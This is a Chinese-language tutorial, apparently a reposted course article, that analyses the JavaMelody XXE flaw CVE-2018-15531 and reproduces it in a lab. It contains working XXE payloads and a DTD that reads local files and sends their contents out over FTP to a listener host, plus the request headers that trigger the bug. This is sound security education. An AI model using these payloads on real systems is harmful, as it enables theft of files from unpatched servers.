手把手教程 || JavaMedoly XXE漏洞分析与外带数据(XXE OOB)实战,工具自取!
2023-1-12 11:40:3 Author: 玄魂工作室(查看原文) 阅读量:20 收藏

嗨,朋友你好,我是闪石星曜CyberSecurity创始人Power7089。

今天为大家带来的是【炼石计划@Java代码审计】第四阶段-第一篇漏洞分析文章:JavaMelody组件XXE漏洞分析与复现,本篇手把手带你分析漏洞代码,以及基于Ftp协议的XXE外带数据实现。内部课程文章部分分享给大家学习,如果你也想利用碎片化时间系统的学习Java代码审计,欢迎加入我们。

【炼石计划@Java代码审计】是一个利用碎片化时间即可从入门到提升系统化学习Java代码审计的成长型知识星球。这里不仅注重夯实基础,更加专注项目级实战进阶。从基础概念知识开始学习,配合项目级系统实战,共六大学习阶段约120节课,手把手的教程带你收获到真正的知识,强烈推荐加入我们,一起来内卷Java代码审计。

温馨提示,价格会逐步上调,火速扫描加入!

本篇文章涉及的漏洞环境、脚本工具,

后台回复关键字 JavaMelodyXXE 即可获取

进入正文

本篇漏洞分析是作为【第二阶段-第六篇】Java代码审计WEB漏洞篇之XXE漏洞的拓展学习。

在学习完基础后,配合一些动手实践,巩固基础。

1、JavaMelody

JavaMelody 是一个开源项目。主要用于监控  Java 或者 Java EE 程序的组件,并且通过图表给出监控数据,它支持对 Java 的内存使用,垃圾回收,Session,JDBC,SQL,http请求,业务方法等等多种信息的监控。

项目Github地址:https://github.com/javamelody/javamelody

2、JavaMelody XXE漏洞

在2018年,JavaMelody 发布了 1.74.0 版本,修复了一个 XXE 漏洞,漏洞编号 CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody 服务器上的敏感信息。

也就是说在 JavaMelody 1.74.0 版本之前,该组件存在 XXE漏洞。

详情可见:https://github.com/javamelody/javamelody/wiki/ReleaseNotes#1740

通过漏洞修复的 commit ,我们可以定位触发的 XXE 漏洞的方法为payloadnamerequestwrapper.java#parseSoapMethodName,如下图所示:

https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353

既然定位到了漏洞触发位置,下面我们进一步分析下漏洞执行流程。

现在我们下载一个 JavaMelody 1.74.0 版本之前的源码。我选择的是1.73.1,如下图所示:

https://github.com/javamelody/javamelody/releases/tag/javamelody-core-1.73.1

下载成功后,解压文件,并使用 IDEA 打开该项目。

(注意:项目加载如果遇到报错忽略即可,我们并不真正启动该项目)

下面我们进入分析流程。

①、根据 commit ,我们确定了漏洞触发点,位于javamelody-core\src\main\java\net\bull\javamelody\PayloadNameRequestWrapper.javaparseSoapMethodName方法,我们进入查看,漏洞触发代码在第 234 行到243行,发现这个版本确实没有任何防护,如下图所示:

②、根据代码可以看出,使用了 StAX 的 XMLInputFactory 方式解析 XML,第 237 行获得一个 XMLInputFactory 的实例,最终使用 createXMLStreamReader 解析 XML。如下图所示:

③、分析完漏洞触发点,下面追踪参数传入流程,双击选中 parseSoapMethodName ,按住快捷键CTRL+ALT+H,可以总览看到函数调用执行层次结构,如下图所示:

④、根据方法调用层次结构我们一步步向上追踪,查看谁调用了parseSoapMethodName 方法,定位到在 PayloadNameRequestWrapper.initialize() 方法中从第 83 到第 104 行,分析得出请求方法为 POST,如果请求头 Content-Type 是application/soap+xmltext/xmlSOAPAction不为 null,则调用执行 parseSoapMethodName 方法,然后执行结果赋值给 name 参数,如下图所示:

⑤、继续追踪查看谁调用了 PayloadNameRequestWrapper 的 initialize() 方法,看这名字应该是在做初始化操作。定位到在 MonitoringFilter.createRequestWrapper() 方法,位于javamelody-core\src\main\java\net\bull\javamelody\MonitoringFilter.java的第 334 行,如下图所示:

⑥、继续追踪查看谁调用了 createRequestWrapper ,定位到在 MonitoringFilter.doFilter() 方法位于javamelody-core\src\main\java\net\bull\javamelody\MonitoringFilter.java的第225 行,如下图所示:

⑦、继续追踪查看谁调用了 doFilter ,向上第 215 行和 82 行,88 行发现重写了 doFilter() 方法,如下图所示:

这么看来,JavaMelody 原理简单说是使用 Filter 过滤所有的请求,然后获取它想要的信息数据。

那他是如何注册 Filter 的呢?

在翻看源码时,发现如果是 SpringBoot 项目,则通过javamelody-spring-boot-starter\src\main\java\net\bull\javamelody\JavaMelodyAutoConfiguration.java的第 109行,FilterRegistrationBean 注册 MonitoringFilter 过滤器,过滤所有的请求,如下图所示(通过注释也可以看出):

总结补充一下,我们从正向思维,将流程阐述一下:

  1. JavaMelody 通过 FilterRegistrationBean 注册了 MonitoringFilter 过滤器,过滤所有的请求。

  2. MonitoringFilter 过滤器中调用 payloadNameRequestWrapper.initialize(); 操作,应该是在做初始化操作。

  3. 在 payloadNameRequestWrapper.initialize() 方法中有一处是判断了请求方式是否为 POST,然后判断了请求头 Content-Type 的值,如果是application/soap+xmltext/xmlSOAPAction不为 null,则调用 parseSoapMethodName 方法。payloadNameRequestWrapper 类看代码主要是用于解析SOAPGWT-RPC

  4. 从 HTTP 请求获取请求的 Content-Type,需满足如下两个条件中的任意一个:

    • Content-Type 的值为 "application/soap+xml";

    • Content-Type 的值为 "text/xml",且 HTTP 头部中有 "SOAPAction"。

  5. 最终在 parseSoapMethodName 方法,使用 XMLInputFactory 的 createXMLStreamReader 解析XML,触发漏洞点。

这么来看,触发漏洞显而易见,我们只需在任意请求路径下构造对应的 Content-Type 请求头,请求方法为 POST,在请求体中输入攻击代码,即可触发 XXE漏洞。

下面我们实践漏洞复现。

漏洞环境部署简单,只需要创建 SpringBoot 项目,在 pom.xml 引入 JavaMelody 依赖后,启动项目即可。

环境信息:

  • JDK版本为:8u121(//download.oracle.com/otn/java/jdk/8u121-b13/e9e7ea248e2c4826b92b3f075a80e441/jdk-8u121-windows-x64.exe)

  • IDEA版本为:2022.2

  • JavaMelody版本为:1.73.1

  • Windows10

动手部署环境。老版本 IDEA 部署环境,可参考第一阶段1.2.4 JavaWeb基础(四)SpingBoot和SpringCloud文章。

①、新建项目,左侧栏选择 Spring Initializr,注意 JDK 版本的选择,具体配置如下图所示:

②、点击下一步,SpringBoot 版本选择任意 2.X 版本即可,依赖选择 Web-Spring Web,如下图所示:

③、在 pom.xml 中引入下面依赖后,并重新加载,稍等片刻。

        <dependency>
          <groupId>net.bull.javamelody</groupId>
          <artifactId>javamelody-spring-boot-starter</artifactId>
          <version>1.73.1</version>
      </dependency>

④、在src/main/resources/application.properties随意设置个端口,避免和其他端口冲突,如下图所示:

⑤、启动项目,浏览器输入127.0.0.1:8886/monitoring,出现下图样式及证明部署成功,如下图所示:

本次漏洞验证采用的是 XXE 漏洞配合 FTP 协议的外带数据,读取任意文件内容,也就是大家常听的 XXE OOB(外带数据)结束。

但我们需要注意的是,JDK 版本的不同会对 FTP 外带数据有很大的影响,探索一番,最终我选择的是JDK 8u121版本来进行漏洞复现。

具体可参考下面两篇文章:

https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/
https://www.leadroyal.cn/p/914/

在复现过程中,我们大概需要以下的内容:

  • FTP 服务器,基于 Java 编写的。(查看附件名为 localFtpServer 压缩包)

  • HTTP 服务器,使用 Python3 启动的简易服务器。

命令:py -3 -m http.server 8777
  • XXE 攻击代码

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://172.20.10.2:8887/ftp.dtd">
      %dtd;%ftp;%send;
      ]>
<ANY>xxe</ANY>
  • XXE 外带数据攻击代码

<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://172.20.10.2:21/%file;'>">
  • BurpSuite 抓包工具

我先画个图,带大家了解下整个外带数据流程,如下图所示:

下面一步步带大家进行漏洞复现。

①、启动上面一步部署的 JavaMelody XXE漏洞环境。

②、浏览器访问环境地址,我的是http://127.0.0.1:8886/,此时使用 BurpSuite 抓取数据包,将其放到 Repeater 模块中,最终如下图所示:

③、为了方便我们就用 BurpSuite 的 Repeater 改造一下数据包吧,并且为了看着清晰,我删除了一些不重要的请求头,并添加了必要的Content-Type: text/xmlSOAPAction: test请求头,最后在请求体中键入了 XXE 攻击代码,最终如下图所示:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY % dtd PUBLIC "-//OXML/XXE/EN" "http://172.20.10.2:8777/ftp.dtd">
      %dtd;%ftp;%send;
      ]>
<ANY>xxe</ANY>

④、在桌面创建一个名为 ftp.dtd 的文件,并键入以下代码,如下图所示:

<!ENTITY % file SYSTEM "file:///C:/Users/powerful/Desktop/test.txt">
<!ENTITY % ftp "<!ENTITY &#37; send SYSTEM 'ftp://user:%file;@172.20.10.2:21'>">

在 ftp.dtd 中,我们先是使用 file 协议读取了敏感文件的内容,然后通过 ftp 协议将敏感文件中内容外带发送给 ftp 服务器。

⑤、下面我们启动 Python 建议 httpserver,我的 ftp.dtd 在桌面下,。因此,我要在桌面目录中启动服务,键入以下命令,最终如下图所示:

py -3 -m http.server 8777

⑥、我们在桌面创建一个名为 test.txt 的文件,随便键入几行内容,这是我们等下要读取外带的文本,最终如下图所示:

⑦、下面我们启动 FTP 服务器,使用 IDEA 打开 localFtpServer 然后启动 LocalFtpServer#main,如下图所示:

⑧、至此,所需的渗透环境准备齐全,我们只需将 repeater 中数据包点击发送即可,从 localFtpServer 响应中可以看到外带出来了敏感数据,如下图所示:

以上启动服务器先后顺序没有前后要求,仅是按照我个人习惯完成的启动顺序。

看似流程复杂,其实多动手来几遍就熟悉了。

大家务必注意请求数据包中,要修改请求方法为 POST,添加 Content-Type 请求头。上面都有提到,请仔细查看。

针对 JavaMelody XXE 漏洞,升级到最新版。

https://github.com/javamelody/javamelody

参考链接:

1、https://anquan.baidu.com/article/421

2、https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353#diff-c059097bc33b06c0b5da2d9b7787e806

3、https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/

4、https://www.leadroyal.cn/p/914/

外部交流群

微信添加好友Power_7089

备注Java代审外部群,稍等片刻,拉你进交流群。

学习资料

后台回复以下关键字即可获取对应学习资料!

【PHP代审录屏】往期PHP代码审计直播课【0531】往期PHP代码审计直播课关注回复关键字 "weblogic漏洞复现",可获取本视频中的全部课件(内含工具脚本,课程文档PDF,练习环境等)关注回复关键字 "安全书籍",可获取7.8G网络安全书籍。关注回复关键字 "JavaWeb代码审计",可获取50套中已更新的JavaWeb系统代码审计实战文章。(进行ing)关注回复关键字 "前八套环境",实时获取最新JavaWeb练习环境。(进行ing)关注回复关键字 "炼石计划",加入知识星球学习JavaWeb代码审计【完整版】课程。(进行ing)关于炼石计划,获取完整版学习课程。可点击下方链接了解。

文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NDk5NTYwNw==&mid=2651429609&idx=1&sn=259c5a6c9e7a901951910308014872d0&chksm=84238191b3540887f17c8ef007612ee9072be25b6b407795a76c5755a4d98ab7ab59dd506c84#rd
如有侵权请联系:admin#unsafe.sh